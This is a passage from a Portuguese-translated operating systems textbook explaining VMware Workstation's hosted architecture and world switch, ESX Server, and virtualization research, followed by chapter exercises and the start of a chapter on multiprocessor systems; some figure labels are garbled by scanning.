detectar se um convidado estava tentando entrar no anel 1 ou no anel 2 e, nesse caso, 
interromper a execução da máquina virtual. Isso não apenas removeu códigos desnecessários, 
mas o mais importante é que permitiu ao VMware VMM assumir que o anel 1 e o anel 

2 nunca seria usado pela máquina virtual e, portanto, poderia usar esses 

anéis para seus próprios fins. Na verdade, o tradutor binário do VMware VMM é executado em 
anel 1 para virtualizar o código do anel 0. 


A plataforma de hardware virtual 


Até agora, discutimos principalmente o problema associado à virtualização do processador x86. Mas 
um computador baseado em x86 é muito mais do que 
processador. Ele também possui um chipset, algum firmware e um conjunto de periféricos de E/S para 
controlar discos, placas de rede, CD-ROM, teclado, etc. 

A diversidade de periféricos de E/S em computadores pessoais x86 tornou impossível 
para combinar o hardware virtual com o hardware real subjacente. Considerando que havia 
apenas alguns modelos de processador x86 no mercado, com apenas pequenas variações 
em capacidades de nível de conjunto de instruções, havia milhares de dispositivos de E/S, a maioria deles 
que não tinham documentação publicamente disponível sobre sua interface ou funcionalidade. 
O principal insight da VMware foi não tentar fazer com que o hardware virtual correspondesse ao 
hardware subjacente específico, mas em vez disso, sempre corresponda a alguma configuração 
composto por dispositivos de E/S canônicos selecionados. Sistemas operacionais convidados então usados 
seus próprios mecanismos existentes e integrados para detectar e operar esses dispositivos (virtuais). 


A plataforma de virtualização consistia em uma combinação de multiplexados e 
componentes emulados. Multiplexar significava configurar o hardware para que pudesse ser 
usado diretamente pela máquina virtual e compartilhado (no espaço ou no tempo) entre vários 
máquinas virtuais. Emulação significava exportar uma simulação de software do selecionado, 
componente de hardware canônico para a máquina virtual. A Figura 7-9 ilustra isso 
VMware Workstation usou multiplexação para processador e memória e emulação 
para todo o resto. 

Para o hardware multiplexado, cada máquina virtual tinha a ilusão de ter 
uma CPU dedicada e uma quantidade configurável, mas fixa de RAM contígua 
começando no endereço físico 0. 

Arquitetonicamente, a emulação de cada dispositivo virtual foi dividida entre um componente front-end, 
que era visível para a máquina virtual, e um componente back-end, que interagia com o sistema operacional 
host (Waldspurger e Rosen Blum, 2012). O front-end era essencialmente um modelo de software do 
dispositivo de hardware que podia ser controlado por drivers de dispositivo não modificados executados 
dentro da máquina virtual. Independentemente do hardware físico específico correspondente no 


host, o front-end sempre expôs o mesmo modelo de dispositivo. 
Por exemplo, o primeiro front-end de dispositivo Ethernet foi o AMD PCnet "Lance" 
chip, que já foi uma placa plug-in popular de 10 Mbps em PCs, e o back-end forneceu 
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1 CPU x86 virtual, com as mesmas extensões Agendado pelo sistema operacional host em um host 
de conjunto de instruções da CPU de uniprocessador ou multiprocessador 


hardware subjacente 


Até 512 MB de DRAM contígua Alocado e gerenciado pelo sistema operacional host 
(página por página) 


Barramento PCI totalmente emulado e compatível 
4x discos IDE 7x Discos virtuais (armazenados como arquivos) ou acesso direto a 
discos Buslogic SCSI um determinado dispositivo bruto 
1x CD-ROM IDE Imagem ISO ou acesso emulado ao real 
CD ROM 


; SVGA Driver convidado VMware SVGA necessário para SVGA 


1x teclado (104 teclas) Totalmente emulado; eventos de código-chave são 
gerados quando são recebidos pelo aplicativo VMware 


1x mouse PS-2 Igual ao teclado 
3x placas Ethernet AMD Lance Modo Bridge e modos somente host 
1x blaster de som Totalmente emulado 


Figura 7-9. Opções de configuração de hardware virtual do antigo VMware 
Workstation, ca. 2000. 


conectividade de rede com a rede física do host. Ironicamente, a VMware continuou a 
oferecer suporte ao dispositivo PCnet muito depois que as placas físicas Lance não 
estavam mais disponíveis e, na verdade, alcançou E/S muito mais rápidas que 10 Mbps 
(Sugerman et al., 2001). Para dispositivos de armazenamento, os front-ends originais 
eram um controlador IDE e um controlador Buslogic, e o back-end era normalmente um 
arquivo no sistema de arquivos host, como um disco virtual ou uma imagem ISO 9660, ou 
um recurso bruto, como um partição da unidade ou o CD-ROM físico. 

A separação de front-ends e back-ends trazia outro benefício: uma máquina virtual 
VMware podia ser copiada de um computador para outro, possivelmente com diferentes 
dispositivos de hardware. Ainda assim, a máquina virtual não precisaria instalar novos 
drivers de dispositivo, uma vez que apenas interagia com o componente front-end. Esse 
atributo, chamado de encapsulamento independente de hardware, tem hoje um enorme 
benefício em ambientes de servidores e na computação em nuvem. Permitiu inovações 
subsequentes, como suspensão/retomada, pontos de verificação e migração transparente 
de máquinas virtuais ativas através de fronteiras físicas (Nelson et al., 2005). Na nuvem, permite 
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clientes implementem suas máquinas virtuais em qualquer servidor disponível, sem ter 
se preocupar com os detalhes do hardware subjacente. 


A função do sistema operacional host 


A decisão final crítica de design no VMware Workstation foi implantá-lo “em 
top" de um sistema operacional existente. Isso o classifica como um hipervisor tipo 2. O 
a escolha teve dois benefícios principais. 

Primeiro, abordaria a segunda parte do desafio da diversidade periférica. 
A VMware implementou a emulação front-end dos vários dispositivos, mas contou com 
os drivers de dispositivo do sistema operacional host para o back-end. Por exemplo, 
VMware Workstation leria ou gravaria um arquivo no sistema de arquivos host para emular um 
dispositivo de disco virtual ou desenhe uma janela da área de trabalho do host para emular um vídeo 
cartão. Contanto que o sistema operacional host tivesse os drivers apropriados, o VMware 
A estação de trabalho poderia executar máquinas virtuais sobre ela. 

Em segundo lugar, o produto pode ser instalado e parecer um aplicativo normal para um usuário, 
facilitando a adoção. Como qualquer aplicativo, o instalador do VMware Workstation 
simplesmente grava seus arquivos componentes em um sistema de arquivos host existente, sem perturbar 
a configuração do hardware (sem reformatação de um disco, criação de um disco 
partição ou alteração das configurações do BIOS). Na verdade, o VMware Workstation poderia ser 
instalado e comece a executar máquinas virtuais sem precisar reiniciar o 
sistema operacional host, pelo menos em hosts Linux. 

No entanto, um aplicativo normal não possui os ganchos e APIs necessários 
necessário para um hipervisor multiplexar os recursos de CPU e memória, o que é 
essencial para fornecer desempenho quase nativo. Em particular, a tecnologia central de virtualização x86 
descrita acima funciona apenas quando o VMM é executado no kernel 
modo e pode, além disso, controlar todos os aspectos do processador sem quaisquer restrições. Isto inclui 
a capacidade de alterar o espaço de endereço (para criar páginas sombra 
tabelas), para alterar as tabelas de segmentos e para alterar todas as interrupções e exceções 
manipuladores. 

Um driver de dispositivo tem acesso mais direto ao hardware, principalmente se for executado 
no modo kernel. Embora pudesse (em teoria) emitir quaisquer instruções privilegiadas, em 
prática, espera-se que um driver de dispositivo interaja com seu sistema operacional usando APIs bem 
definidas e não (e nunca deve) reconfigurar arbitrariamente o hardware. 
E como os hipervisores exigem uma reconfiguração massiva do hardware (incluindo todo o espaço de 
endereço, tabelas de segmentos, manipuladores de exceções e interrupções), executar o hipervisor como 
um driver de dispositivo também não era uma opção realista. 

Como nenhuma dessas suposições é suportada pelos sistemas operacionais host, execute 
Usar o hipervisor como um driver de dispositivo (no modo kernel) também não era uma opção. 

Esses requisitos rigorosos levaram ao desenvolvimento do VMware Hosted 
Arquitetura. Nele, como mostrado na Figura 7.10, o software é dividido em três componentes separados e 
distintos. 
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Qualquer Máquina virtual 


Processo. 


Hospedar SO 
escrever() 
o 
e 
Disco 
X 
mun 
$ VMM undo 
i rocar 
Motorista | oca 
E ; 


HospedarSO Contexto | VMM Contexto 


Figura 7-10. A Arquitetura Hospedada VMware e seus três componentes: VMX, 
Driver VMM e VMM. 


Cada um desses componentes tem funções diferentes e operam de forma independente 
um do outro: 


1. Um programa de espaço do usuário (o VMX) que o usuário percebe ser o 
Programa VMware. O VMX executa todas as funções da interface do usuário, inicia a 
máquina virtual e, em seguida, executa a maior parte da emulação do dispositivo (frontal). 
final) e faz chamadas regulares do sistema para o sistema operacional host para 
as interações de back-end. Normalmente há um VMX multithread 
processo por máquina virtual. 


2. Um pequeno driver de dispositivo no modo kernel (o driver VMX), que obtém 
instalado no sistema operacional host. É usado principalmente para 
permitir que o VMM seja executado suspendendo temporariamente todo o host 
sistema operacional. Há um driver VMX instalado no sistema operacional host, 
normalmente durante a inicialização. 


3. O VMM, que inclui todo o software necessário para multiplexar o 
CPU e a memória, incluindo os manipuladores de exceção, os manipuladores de 
interceptação e emulação, o tradutor binário e o módulo de paginação de sombra. O 
VMM é executado no modo kernel, mas não no contexto 
do sistema operacional host. Em outras palavras, não pode confiar diretamente em 
serviços oferecidos pelo sistema operacional host, mas também não é restringido por 
quaisquer regras ou convenções impostas pelo sistema operacional host. 


sistema. Há uma instância do VMM para cada máquina virtual, criada 
quando a máquina virtual é iniciada. 
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O VMware Workstation parece ser executado sobre um sistema operacional existente e, na 
verdade, seu VMX é executado como um processo desse sistema operacional. No entanto, o 
VMM opera no nível do sistema, com controle total do hardware e sem depender de forma alguma 
do sistema operacional host. A Figura 7.10 mostra o relacionamento entre as entidades: os dois 
contextos (sistema operacional host e VMM) são pares entre si e cada um tem um componente 
de nível de usuário e um componente de kernel. Quando o VMM é executado (metade direita da 
figura), ele reconfigura o hardware, lida com todas as interrupções e exceções de E/S e pode, 
portanto, remover temporariamente com segurança o sistema operacional host de sua memória 
virtual. Por exemplo, a localização da tabela de interrupção é definida no VMM atribuindo o registro 
IDTR a um novo endereço. Por outro lado, quando o sistema operacional host é executado 
(metade esquerda da figura), o VMM e sua máquina virtual são igualmente removidos de sua 
memória virtual. 


Esta transição entre estes dois contextos de sistema totalmente independentes é uma 
mudança mundial. O próprio nome enfatiza que tudo no software muda durante uma mudança de 
mundo, em contraste com a mudança de contexto normal implementada por um sistema 
operacional. A Figura 7-11 mostra a diferença entre os dois. A troca regular de contexto entre os 
processos "A" e "B" troca a parte do usuário do espaço de endereço e os registradores dos dois 
processos, mas deixa vários recursos críticos do sistema inalterados. Por exemplo, a parte do 
kernel do espaço de endereço é idêntica para todos os processos e os manipuladores de exceção 
também não são modificados. Em contraste, o switch mundial muda tudo: todo o espaço de 
endereço, todos os manipuladores de exceção, registros privilegiados, etc. Em particular, o espaço 
de endereço do kernel do sistema operacional host é mapeado apenas quando executado no 
contexto do sistema operacional host. Depois que o mundo mudou para o contexto do VMM, ele 
foi totalmente removido do espaço de endereço, liberando espaço para executar o VMM e a 
máquina virtual. Embora pareça complicado, isso pode ser implementado de forma bastante 
eficiente e leva apenas 45 instruções em linguagem de máquina x86 para ser executado. 


O leitor atento deve ter se perguntado: e o espaço de endereço do kernel do sistema 
operacional convidado? A resposta é simplesmente que ele faz parte do espaço de endereço da 
máquina virtual e está presente durante a execução no contexto do VMM. Portanto, o sistema 
operacional convidado pode usar todo o espaço de endereço e, em particular, os mesmos locais 
na memória virtual que o sistema operacional host. Isto é muito especificamente o que acontece 
quando os sistemas operacionais host e convidado são os mesmos (por exemplo, ambos são 
Linux). É claro que tudo isto “simplesmente funciona” por causa dos dois contextos independentes 
e da mudança mundial entre os dois. 

O mesmo leitor se perguntará: e a área do VMM, no topo do espaço de endereço? Conforme 
discutimos acima, ele é reservado para o próprio VMM e essas partes do espaço de endereço não 
podem ser usadas diretamente pela máquina virtual. 

Felizmente, essa pequena porção de 4 MB não é usada com frequência pelos sistemas 


operacionais convidados, já que cada acesso a essa porção de memória deve ser emulado 
individualmente e induz uma sobrecarga de software perceptível. 
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Espaço de endereço linear 


Processo 
A A (espaço do usuário) Espaço de endereço do kernel 


Processo 
B B (espaço do usuário) Espaço de endereço do kernel 
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SO host 
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Figura 7-11. Diferença entre uma troca de contexto normal e uma troca de mundo. 


Voltando à Figura 7.10: ela ilustra ainda as diversas etapas que ocorrem quando 
ocorre uma interrupção no disco enquanto o VMM está em execução (etapa i). 
Obviamente, o VMM não pode lidar com a interrupção, pois não possui o driver de dispositivo back-end. 
Em (ii), o VMM faz uma mudança mundial de volta para o sistema operacional host. 
Especificamente, o código world-switch retorna o controle ao driver VMware, que em (iii) 
emula a mesma interrupção que foi emitida pelo disco. Portanto, na etapa (iv), o 
manipulador de interrupção do sistema operacional host executa sua lógica, como se a 
interrupção do disco tivesse ocorrido enquanto o driver VMware (mas não o VMM!) estava em execução. 
Finalmente, na etapa (v), o driver VMware retorna o controle ao aplicativo VMX. Neste 
ponto, o sistema operacional host pode optar por agendar outro processo ou continuar 
executando o processo VMware VMX. Se o processo VMX continuar em execução, ele 
retomará a execução da máquina virtual fazendo uma chamada especial no driver do 
dispositivo, o que gerará uma troca mundial de volta ao contexto VMM. Como você pode 
ver, esse é um truque interessante que oculta todo o VMM e a máquina virtual do sistema 
operacional host. Mais importante ainda, fornece ao VMM total liberdade para reprogramar 
o hardware conforme achar necessário. 


7.11.5 A evolução da estação de trabalho VMware 


O cenário tecnológico mudou drasticamente na década seguinte 
o desenvolvimento do VMware Virtual Machine Monitor original. 

A arquitetura hospedada ainda é usada hoje em hipervisores interativos de última 
geração, como VMware Workstation, VMware Player e VMware Fusion (produto voltado 
para sistemas operacionais host Apple macOS), e até mesmo no produto da VMware 
voltado para celulares (Barr et al., 2010). A mudança mundial e sua capacidade de 
separar o contexto do sistema operacional host do contexto do VMM continuam sendo o 
mecanismo fundamental dos produtos hospedados da VMware atualmente. Embora a 
implementação da mudança mundial tenha evoluído ao longo dos anos, por exemplo, para 
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suportar sistemas de 64 bits, a ideia fundamental de ter endereços totalmente separados 
espaços para o sistema operacional host e o VMM permanecem válidos até hoje. 

Em contraste, a abordagem à virtualização da arquitectura x86 mudou 
de forma bastante dramática com a introdução da virtualização assistida por hardware. Virtualizações 
assistidas por hardware, como Intel VT-x e AMD-v, foram introduzidas em 
duas fases. A primeira fase, iniciada em 2005, foi concebida com o propósito explícito de eliminar a 
necessidade de paravirtualização ou tradução binária. 
(Uhlig et al., 2005). A partir de 2007, a segunda fase forneceu suporte de hardware 
na MMU na forma de tabelas de páginas aninhadas. Isso eliminou a necessidade de manter tabelas de 
páginas sombra no software. Hoje, os hipervisores da VMware usam principalmente um 
abordagem baseada em hardware, trap-and-emulate (conforme formalizado por Popek e Goldberg 
quatro décadas antes) sempre que o processador suportar virtualização e 
tabelas de páginas aninhadas. 

O surgimento do suporte de hardware para virtualização teve um impacto significativo 
na estratégia centrada no sistema operacional convidado da VMware. No VMware original 
Workstation, a estratégia foi usada para reduzir drasticamente a complexidade da implementação em 
detrimento da compatibilidade com a arquitetura completa. Hoje, espera-se total compatibilidade 
arquitetônica devido ao suporte de hardware. O VMware atual 
A estratégia centrada no sistema operacional convidado concentra-se em otimizações de desempenho para 


sistemas operacionais convidados selecionados. 


7.11.6 Servidor ESX: hipervisor tipo 1 da VMware 


Em 2001, a VMware lançou um produto diferente, chamado ESX Server, voltado para 
mercado de servidores. Aqui, os engenheiros da VMware adotaram uma abordagem diferente: em vez 
Em vez de criar uma solução tipo 2 executada em um sistema operacional host, eles decidiram construir 
uma solução tipo 1 que seria executada diretamente no hardware. 
A Figura 7-12 mostra a arquitetura de alto nível do ESX Server. Ele combina um 
componente existente, o VMM, com um verdadeiro hipervisor rodando diretamente no 
metal. O VMM executa a mesma função do VMware Workstation, que é 
para executar a máquina virtual em um ambiente isolado que é uma duplicata do x86 
arquitetura. Na verdade, os VMMS utilizados nos dois produtos utilizam o mesmo 
base de código-fonte e são praticamente idênticos. O hipervisor ESX substitui o 
sistema operacional host. Mas em vez de implementar todas as funcionalidades esperadas 
de um sistema operacional, seu único objetivo é executar as diversas instâncias do VMM e 
gerenciar eficientemente os recursos físicos da máquina. Servidor ESX, portanto 
contém o subsistema usual encontrado em um sistema operacional, como um agendador de CPU, um 
gerenciador de memória e um subsistema de E/S, com cada subsistema otimizado para 
executar máquinas virtuais. 
A ausência de um sistema operacional host exigia que a VMware abordasse diretamente 
as questões de diversidade periférica e experiência do usuário descritas anteriormente. Para diversidade 
periférica, a VMware restringiu o ESX Server para rodar apenas em plataformas de servidores bem 
conhecidas e certificadas, para as quais possuía drivers de dispositivo. Quanto à experiência do usuário, 
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VM VM VM VM 


xsa 


Hipervisor ESX 


x86 
Figura 7-12. Servidor ESX: hipervisor tipo 1 da VMware. 


O ESX Server (ao contrário do VMware Workstation) exigia que os usuários instalassem um novo sistema 
imagem em uma partição de inicialização. 

Apesar das desvantagens, a compensação fazia sentido para implantações dedicadas de 
virtualização em data centers, consistindo em centenas ou milhares de servidores físicos e, muitas vezes, 
(muitos) milhares de máquinas virtuais. Tais implantações são 
às vezes referidas hoje como nuvens privadas. Lá, a arquitetura do ESX Server 
fornece benefícios substanciais em termos de desempenho, escalabilidade, capacidade de gerenciamento, 
e recursos. Por exemplo: 


1. O agendador de CPU garante que cada máquina virtual receba uma parte justa 
da CPU (para evitar a fome). Ele também é projetado para que as diferentes CPUs virtuais 


de uma determinada máquina virtual multiprocessada sejam 
agendado ao mesmo tempo. 


2. O gerenciador de memória é otimizado para escalabilidade, em particular para executar 
máquinas virtuais de forma eficiente, mesmo quando elas precisam de mais memória do que 
está realmente disponível no computador. Para alcançar esse resultado, o ESX Server 
introduziu pela primeira vez a noção de balão e página transparente. 
compartilhamento para máquinas virtuais (Waldspurger, 2002). 


3. O subsistema de E/S é otimizado para desempenho. Embora VMware 
Workstation e ESX Server geralmente compartilham os mesmos componentes de emulação 
de front-end, os back-ends são totalmente diferentes. No VMware 
No caso da estação de trabalho, todas as E/S fluem através do sistema operacional host e 
sua API, que geralmente adiciona sobrecarga. Isto é particularmente verdadeiro no 
caso de dispositivos de rede e armazenamento. Com o ESX Server, esses drivers de 


dispositivos são executados diretamente no hipervisor ESX, sem a necessidade de 
uma mudança mundial. 


4. Os back-ends também normalmente dependiam de abstrações fornecidas pelo 
sistema operacional host. Por exemplo, o VMware Workstation armazena imagens de 
máquinas virtuais como arquivos regulares (mas muito grandes) no arquivo host. 
sistema. Em contraste, o ESX Server possui VMFS (Vaghani, 2010), um arquivo 
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sistema otimizado especificamente para armazenar imagens de máquinas virtuais e 
garantir alto rendimento de E/S. Isto permite níveis extremos de desempenho. Por 
exemplo, a VMware demonstrou em 2011 que um único servidor ESX poderia emitir 
1 milhão de operações de disco por segundo (VMware, 2011). 


5. O ESX Server facilitou a introdução de novos recursos, que exigiam coordenação 
rígida e configuração específica de vários componentes de um computador. Por 
exemplo, o ESX Server introduziu o VMotion, a primeira solução de virtualização que 
poderia migrar uma máquina virtual ativa de uma máquina executando o ESX Server 
para outra máquina executando o ESX Server, enquanto ele estava em execução. 
Essa conquista exigiu a coordenação do gerenciador de memória, do escalonador 
da CPU e da pilha de rede. 


Com o passar dos anos, novos recursos foram adicionados ao ESX Server. O ESX Server 
evoluiu para o ESXi, uma alternativa compacta e de tamanho suficientemente pequeno para ser pré- 
instalada no firmware dos servidores. Hoje, o ESXi é o produto mais importante da VMware e serve 
como base do conjunto vSphere. 


7.12 PESQUISA SOBRE VIRTUALIZAÇÃO E NUVEM 


A tecnologia de virtualização e a computação em nuvem são áreas de pesquisa extremamente 
ativas. A pesquisa produzida nessas áreas é demais para ser enumerada. Cada um tem várias 
conferências de pesquisa. Por exemplo, a conferência Virtual Execution Environments (VEE) 
concentra-se na virtualização no sentido mais amplo. 

Você encontrará documentos sobre desduplicação de migração, expansão e assim por diante. Da 
mesma forma, o Simpósio ACM sobre Computação em Nuvem (SOCC) é um dos locais mais 
conhecidos sobre computação em nuvem. Os artigos no SOCC incluem trabalhos sobre resiliência 

a falhas, agendamento de cargas de trabalho de data center, gerenciamento e depuração em nuvens. 

O suporte de hardware para virtualização está agora presente em quase todas as arquiteturas 
de CPU relevantes, colocando em prática os princípios arquitetônicos de Popek e Goldberg. 
Notavelmente, o ARM adicionou um novo nível de privilégio "EL2" para suportar a virtualização de 
hardware no ARMv8. Em plataformas móveis, a virtualização é frequentemente implementada com 
outro recurso de hardware chamado TrustZone para permitir que uma máquina virtual “segura” 
coexista com o ambiente operacional principal (Dall et al., 2016). 

A segurança é sempre um tema quente para investigação (Dai et al., 2020; Trach et al., 2020), 
tal como a redução da utilização de energia (Kaffes et al., 2020). Com tantos data centers usando 
agora tecnologia de virtualização, as redes que conectam essas máquinas também são um 
importante assunto de pesquisa (Alvarez et al., 2020). 

Uma das vantagens do hardware de virtualização é que códigos não confiáveis podem obter 
acesso direto, mas seguro, a recursos de hardware, como tabelas de páginas e TLBs marcados. 
Tendo isto em mente, o projeto Dune (Belay, 2012) não teve como objetivo fornecer uma abstração 
de máquina, mas sim uma abstração de processo. O processo é capaz de entrar em Dune 
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modo, uma transição irreversível que lhe dá acesso ao hardware de baixo nível. 
No entanto, ainda é um processo capaz de conversar e confiar no kernel. A única 
diferença que ele usa a instrução VMCALL para fazer uma chamada de sistema. A Duna 
abordagem foi posteriormente usada para pesquisa em sistemas operacionais de plano de dados, como IX 
(Belay, 2017) e finalmente adaptado como base para a solução de contêiner do Google 
gVisor (Jovem, 2019). 

Falando em contêineres, a nuvem está deixando de ser uma plataforma para 
locatários para executar máquinas virtuais (especificadas por uma imagem de disco virtual) em uma plataforma 
usado por locatários para executar contêineres especificados como Dockerfiles e coordenados por 
orquestradores como Kubernetes. Muitas vezes, o contêiner é executado em uma máquina virtual, mas o 
sistema operacional convidado agora é executado pelo provedor de nuvem. O mais recente 
Essa tendência, chamada de “sem servidor”, dissocia ainda mais a lógica da aplicação de seu ambiente 
(Shahrad et al., 2020). A ideia aqui é permitir que um serviço seja automaticamente 
criado para servir uma única função (um RPC sobre HTTPS) sem gerenciar qualquer 
aspecto de seu ambiente de sistema operacional. A Amazon chama sua tecnologia serverless de 
firecracker (Barr, 2018) e o Google a chama de gVisor (Young, 2019). Sem servidor 
a computação ganhou ainda mais popularidade com a adoção do modelo Função como Serviço (FAAS) 
(Kim e Lee, 2019). É claro que a operação 
o sistema e, de fato, o servidor ainda existem em operações sem servidor. Mas eles são 
escondido do desenvolvedor. 

A nuvem é, portanto, muito mais complexa do que era no início com 
o modelo original de máquinas virtuais AWS EC2: as redes são virtualizadas e 
os aplicativos são encapsulados em contêineres e modelos sem servidor que separam 
a partir das camadas subjacentes. A nuvem é mais complexa, mas também mais poderosa e central para 
quase todas as organizações de computação. Com esta importância 
vem outra consideração: confiança. Especificamente, até que ponto um inquilino deve confiar no 
provedor de serviços em nuvem? A resposta correta é obviamente “tão pouco quanto necessário”. 

Para atingir esse objetivo de dependências mínimas de confiança, a Intel introduziu o SGX como 
a primeira extensão arquitetônica para "computação confidencial". SGX cria 
enclaves, que são isolados em hardware do sistema operacional host e outros 
aplicações, com o conteúdo da memória e registros criptografados criptograficamente 
pelo hardware. De certa forma, tecnologias como SGX são semelhantes à virtualização 
extensões: elas criam novas maneiras para o software se isolar um do outro. 
SGX tem sido usado notavelmente em pesquisas para executar sistemas operacionais inteiros, como em 
Haven (Baumann, 2015) ou contêineres Linux como em SCONE (Arnautov, 2016). 


7.13 RESUMO 


Virtualização é a técnica de simular um computador, mas com alto desempenho. Normalmente, um 
computador executa muitas máquinas virtuais ao mesmo tempo. Esse 
A técnica é amplamente utilizada em data centers para fornecer computação em nuvem. Neste capítulo, 
vimos como funciona a virtualização, especialmente para paginação, E/S e multicore. 
sistemas. Também estudamos um exemplo: VMWare. 
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PROBLEMAS 


. Explique por que um data center pode estar interessado em virtualização. 


. Explique por que uma empresa pode estar interessada em executar um hipervisor em uma máquina que já está 


em uso há algum tempo. 


. Explique por que um desenvolvedor de software pode usar a virtualização em uma máquina desktop usada para 


desenvolvimento. 


. Explique por que uma pessoa em casa pode estar interessada em virtualização. Qual 


tipo de hipervisor provavelmente seria melhor para um usuário doméstico? 


Por que você acha que a virtualização demorou tanto para se tornar popular? Afinal, o documento principal foi 
escrito em 1974 e os mainframes IBM tinham o hardware e o software necessários durante toda a década de 
1970 e além. 


. Quais são os três requisitos principais para projetar hipervisores? 


Cite dois tipos de instruções que sejam sensíveis no sentido de Popek e Goldberg. 


. Cite três instruções de máquina que não são sensíveis no Popek e Goldberg 


senso. 


Qual é a diferença entre virtualização total e paravirtualização? O que fazer 
você acha que é mais difícil de fazer? Explique sua resposta. 


Faz sentido paravirtualizar um sistema operacional se o código-fonte estiver disponível? E se não for? 


Considere um hipervisor tipo 1 que pode suportar até n máquinas virtuais ao mesmo tempo. Os PCs podem ter 
no máximo quatro partições primárias de disco. N pode ser maior que 4? 


Em caso afirmativo, onde os dados podem ser armazenados? 
Explique resumidamente o conceito de virtualização em nível de processo. 


Por que existem hipervisores tipo 2? Afinal, não há nada que eles possam fazer que os hipervisores tipo 1 não 
possam fazer e os hipervisores tipo 1 também são geralmente mais eficientes. 


. A virtualização tem alguma utilidade para hipervisores tipo 2? 


Por que foi inventada a tradução binária? Você acha que tem muito futuro? Explicar 
sua Resposta. 


Explique como os quatro anéis de proteção do x86 podem ser usados para suportar a virtualização. 


Indique uma razão pela qual uma abordagem baseada em hardware usando CPUs habilitadas para VT pode ter 
um desempenho ruim quando comparada a abordagens de software baseadas em tradução. 


Dê um caso em que um código traduzido pode ser mais rápido que o código original, em um sistema que usa 
tradução binária. 


O VMware faz a tradução binária de um bloco básico por vez, depois executa o bloco e começa a traduzir o 
próximo. Poderia traduzir todo o programa antecipadamente e depois executá-lo? Se sim, quais são as 
vantagens e desvantagens de cada técnica? 


Qual é a diferença entre um hipervisor puro e um microkernel puro? 
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21. Explique resumidamente por que a memória é tão difícil de virtualizar bem na prática? Explique o seu 


responder. 


22. Sabe-se que a execução de múltiplas máquinas virtuais em um PC exige grandes quantidades de memória. 
Por que? Você consegue pensar em alguma maneira de reduzir o uso de memória? Explicar. 


23. Explique o conceito de tabelas de páginas sombra, usadas na virtualização de memória. 


24. Uma maneira de lidar com sistemas operacionais convidados que alteram suas tabelas de páginas usando 
instruções comuns (sem privilégios) é marcar as tabelas de páginas como somente leitura e fazer uma 
armadilha quando elas forem modificadas. De que outra forma as tabelas de páginas sombra poderiam ser 
mantidas? Discuta a eficiência de sua abordagem em relação às tabelas de páginas somente leitura. 


25. Por que são usados drivers de balão? Isso é trapaça? 
26. Descreva uma situação em que os condutores de balão não funcionam. 
27. Explique o conceito de desduplicação usado na virtualização de memória. 


28. Os computadores têm DMA para realizar E/S há décadas. Isso causou algum problema 
antes de haver MMUs de E/S? 


29. O que é um dispositivo virtual? Por que isso é útil? 


30. Os PCs diferem em pequenos aspectos no nível mais baixo, como a forma como os temporizadores são 
gerenciados, como as interrupções são tratadas e alguns detalhes do DMA. Essas diferenças significam que 
os dispositivos virtuais não funcionarão bem na prática? Explique sua resposta. 


31. Dê uma vantagem à computação em nuvem em relação à execução local de seus programas. Dê um 
desvantagem também. 


32. Dê um exemplo de IAAS, PAAS, SAAS e FAAS. 
33. Por que a migração de máquinas virtuais é importante? Em que circunstâncias pode ser 
útil? 
34. A migração de máquinas virtuais pode ser mais fácil do que a migração de processos, mas a migração ainda 


pode ser difícil. Que problemas podem surgir ao migrar uma máquina virtual? 


35. Por que a migração de máquinas virtuais de uma máquina para outra é mais fácil do que a migração 
transferir processos de uma máquina para outra? 


36. Qual é a diferença entre migração viva e outro tipo (migração morta)? 
37. Quais foram os três principais requisitos considerados ao projetar o VMware? 


38. Por que o enorme número de dispositivos periféricos disponíveis não foi um problema quando 
VMware Workstation foi introduzido pela primeira vez? 


39. O VMware ESXi ficou muito pequeno. Por que? Afinal, os servidores dos data centers geralmente possuem 
dezenas de gigabytes de RAM. Que diferença fazem algumas dezenas de megabytes a mais ou a menos? 


40. Vimos que máquinas virtuais baseadas em hipervisor oferecem melhor isolamento do que contêineres. Esta é 
claramente uma vantagem do ponto de vista da segurança. No entanto, você consegue pensar em alguma 
vantagem de segurança que os contêineres possam ter em relação às máquinas virtuais? 
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Desde a sua criação, a indústria da informática tem sido impulsionada por uma busca 
incessante por cada vez mais poder computacional. O ENIAC podia realizar 300 operações 
por segundo, facilmente 1000 vezes mais rápido do que qualquer calculadora anterior, mas as 
pessoas não estavam satisfeitas com ele. Agora temos máquinas milhões de vezes mais 
rápidas que o ENIAC, e ainda há demanda por ainda mais potência. Os astrónomos estão a 
tentar dar sentido ao universo, os biólogos estão a tentar compreender as implicações do 
genoma humano e os engenheiros aeronáuticos estão interessados em construir aeronaves 
mais seguras e eficientes, e todos querem mais ciclos de CPU. Por mais poder de computação 
que exista, nunca é suficiente. 

No passado, a solução sempre foi acelerar o relógio. Infelizmente, começamos a atingir 
alguns limites fundamentais na velocidade do clock. De acordo com a teoria da relatividade 
especial de Einstein, nenhum sinal elétrico pode se propagar mais rápido que a velocidade da 
luz, que é cerca de 30 cm/nsec no vácuo e cerca de 20 cm/nsec em fio de cobre ou fibra 
óptica. Isso significa que em um computador com clock de 10 GHz, os sinais não podem 
percorrer mais de 2 cm no total. Para um computador de 100 GHz, o comprimento total do 
caminho é de no máximo 2 mm. Um computador de 1 THz (1000 GHz) terá que ser menor 
que 100 mícrons, apenas para permitir que o sinal vá de uma extremidade à outra e volte uma 
vez dentro de um único ciclo de clock. 

Fazer computadores tão pequenos pode ser possível, mas então nos deparamos com 
outro problema fundamental: a dissipação de calor. Quanto mais rápido o computador funciona, 
mais calor ele gera, e quanto menor o computador, mais difícil é se livrar desse calor. 

Já em sistemas x86 topo de linha, o cooler do processador é maior que o próprio processador. 
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Em suma, passar de 1 MHz para 1 GHz simplesmente exigiu uma engenharia cada vez melhor do processo 
de fabricação de chips. Passar de 1 GHz para 1 THz vai 
requerem uma abordagem radicalmente diferente. 

Uma abordagem para maior velocidade é através de computadores massivamente paralelos. Esses 
máquinas consistem em muitas CPUs, cada uma das quais roda em velocidade “normal” (seja qual for 
isso pode significar em um determinado ano), mas que coletivamente têm muito mais recursos de computação 
potência do que uma única CPU. Sistemas com dezenas de milhares de CPUs estão agora disponíveis 
comercialmente. Sistemas com 1 milhão de CPUs já estão sendo construídos em laboratório 
(Plana et al., 2020). Embora existam outras abordagens potenciais para maior velocidade, 
como computadores biológicos, neste capítulo nos concentraremos em sistemas com múltiplas CPUs 
convencionais. 

Computadores altamente paralelos são frequentemente usados para processamento pesado de 
números. Problemas como prever o tempo, modelar o fluxo de ar ao redor de uma aeronave 
ala, simulando a economia mundial ou entendendo as interações entre medicamentos e receptores 
no cérebro são todos computacionalmente intensivos. Suas soluções exigem longas execuções 
